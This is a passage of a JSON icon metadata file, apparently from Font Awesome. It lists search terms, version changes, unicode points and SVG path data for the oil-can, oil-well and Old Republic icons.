        "path": "M406.7 463c-42.3 30.8-94.4 49-150.7 49C144.9 512 50.3 441.2 14.9 342.2c2.4 1.7 5.9 3.6 7.9 4.4c16.3 7.4 40.1-5.4 62.9-28.7c6.9-6.9 14.4-12.4 22.8-17.3c18.3-11.9 37.6-20.8 58.4-27.2c0 0 22.3 34.2 43.1 74.8s-22.3 54-27.2 54c-.3 0-.8 0-1.5-.1c-11-.5-70-3-56 51.1c14.9 57.4 97.5 36.6 139.6 8.9s31.7-118.3 31.7-118.3c41.1-6.4 54 37.1 57.9 59.4c.8 4.6 1.1 9.9 1.4 15.5c1.1 21.2 2.3 45.6 35.3 46.4c5.3 0 10.6-.8 15.5-2zm-95.3-23.7c-2-.5-3.5-2.5-3-5c1-2.5 3-3.5 5-3s3.5 3 3 5s-2.5 3.5-5 3zm-207-95.6c1.5-.5 3.5 1 4 3c0 2-1 4-3 4c-1.5 .5-3.5-1-4-3c-.5-1.5 1-3.5 3-4zM451.8 421C489.3 376.4 512 318.8 512 256c0-67.5-26.1-128.9-68.8-174.7c-.1 23.5-6.1 48.2-16.8 69.2c-11.9 20.3-49 58.9-69.8 78.7c-.7 .3-1.1 .9-1.5 1.4c-.2 .2-.3 .4-.5 .6c-5 6.9-4 16.8 3 21.8c21.3 15.8 56.4 45.6 59.4 72.8c3.5 34.9 27.9 75.6 34.2 86.2l0 0c.8 1.3 1.3 2.1 1.4 2.4c0 2.2-.4 4.3-.8 6.5zM390.7 251c-.5 3 1 5.9 4 6.4s5.9-1 6.4-4s-1-5.9-4-6.4c-3-1-5.9 1-6.4 4zm61.4-60.9l-11.4 5.4-3 12.9-5.4-11.4-12.9-3 11.4-5.4 3-12.9 5.4 11.4 12.9 3zM395.5 41.3c-16.2 8.2-22.1 32.8-29 61.4l0 0c-.3 1.4-.7 2.8-1 4.2c-9.5 38.5-30.6 37.6-41.7 37.2c-1.1 0-2-.1-2.9-.1c-5.1 0-6-4-8.9-17.1c-2.6-12.1-6.9-32-17.9-63.6C271.4-2.5 211.4 13.9 165.9 41.1C110.6 74.2 131.5 143 146.1 190.5c.7 2.2 1.4 4.4 2 6.6c-4 4-13.8 7.5-26 11.9c-12.1 4.3-26.6 9.5-40.3 16.9C47.9 243.9 11.5 274.9 2 288.5C.7 277.8 0 267 0 256C0 114.6 114.6 0 256 0c51.4 0 99.4 15.2 139.5 41.3zM58.9 189.6c-1.5-2-4.5-3-6.4-1.5s-3 4.5-1.5 6.4s4.5 3 6.4 1.5c2.5-1.5 3-4.5 1.5-6.4zM327.3 64.9c2-1.5 5-.5 6.4 1.5c1.5 2.5 1 5.4-1.5 6.4c-2 1.5-5 .5-6.4-1.5s-.5-5 1.5-6.4zM95.1 105c-.5 1.5 .5 3 2 3c1.5 .5 3-.5 3-2c.5-1.5-.5-3-2-3s-3 .5-3 2zm84.7-.5c-3.5-43.1 37.1-54 37.1-54c44.1-15.4 56 5.9 66.4 37.6s3 42.6-38.6 58.9s-61.9-4.5-64.9-42.6zm89.6 14.9h1c2.5 0 5-2 5-5c2-6.9 1-14.4-2-20.8c-1.5-2-4-3.5-6.4-2.5c-3 1-4.5 4-3.5 6.9c2 4.5 3 9.9 1.5 14.9c-.5 3 1.5 5.9 4.5 6.4zm-9.9-41.6c-2 0-4-1-5-3s-2-3.5-3-5c-2-2-2-5.4 0-7.4s5.4-2 7.4 0c2 2.5 3.5 5 5 7.4s.5 5.9-2.5 7.4c-.6 0-1 .2-1.3 .3c-.2 .1-.4 .2-.6 .2z"
      }
    },
    "free": ["brands"]
  },
  "oil-can": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f613"]
      }
    },
    "changes": [
      "5.2.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["auto", "crude", "gasoline", "grease", "lubricate", "petroleum"]
    },
    "styles": ["solid"],
    "unicode": "f613",
    "label": "Oil Can",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 128c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32H144 96 48c-26.5 0-48 21.5-48 48v64.8c0 19 11.2 36.2 28.5 43.9l67.5 30V368c0 26.5 21.5 48 48 48H403.1c18.4 0 35.8-7.9 48-21.7L633.5 187.7c12.3-13.9-.3-35.4-18.4-31.5L448 192l-50.5-25.2c-8.9-4.4-18.7-6.8-28.6-6.8H288V128h32zM96 208v86.1L48 272.8V208H96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 128c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32H144 96 48c-26.5 0-48 21.5-48 48v64.8c0 19 11.2 36.2 28.5 43.9l67.5 30V368c0 26.5 21.5 48 48 48H403.1c18.4 0 35.8-7.9 48-21.7L633.5 187.7c12.3-13.9-.3-35.4-18.4-31.5L448 192l-50.5-25.2c-8.9-4.4-18.7-6.8-28.6-6.8H288V128h32zM96 208v86.1L48 272.8V208H96z"
      }
    },
    "free": ["solid"]
  },
  "oil-well": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drill", "oil", "rig"]
    },
    "styles": ["solid"],
    "unicode": "e532",
    "label": "Oil Well",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528.3 61.3c-11.4-42.7-55.3-68-98-56.6L414.9 8.8C397.8 13.4 387.7 31 392.3 48l24.5 91.4L308.5 167.5l-6.3-18.1C297.7 136.6 285.6 128 272 128s-25.7 8.6-30.2 21.4l-13.6 39L96 222.6V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H406.7L340 257.5l-62.2 16.1L305.3 352H238.7L265 277l-74.6 19.3L137.3 448H96V288.8l337.4-87.5 25.2 94c4.6 17.1 22.1 27.2 39.2 22.6l15.5-4.1c42.7-11.4 68-55.3 56.6-98L528.3 61.3zM205.1 448l11.2-32H327.7l11.2 32H205.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528.3 61.3c-11.4-42.7-55.3-68-98-56.6L414.9 8.8C397.8 13.4 387.7 31 392.3 48l24.5 91.4L308.5 167.5l-6.3-18.1C297.7 136.6 285.6 128 272 128s-25.7 8.6-30.2 21.4l-13.6 39L96 222.6V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H406.7L340 257.5l-62.2 16.1L305.3 352H238.7L265 277l-74.6 19.3L137.3 448H96V288.8l337.4-87.5 25.2 94c4.6 17.1 22.1 27.2 39.2 22.6l15.5-4.1c42.7-11.4 68-55.3 56.6-98L528.3 61.3zM205.1 448l11.2-32H327.7l11.2 32H205.1z"
      }
    },
    "free": ["solid"]
  },
  "old-republic": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": ["politics", "star wars"]
    },
    "styles": ["brands"],
    "unicode": "f510",
    "label": "Old Republic",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 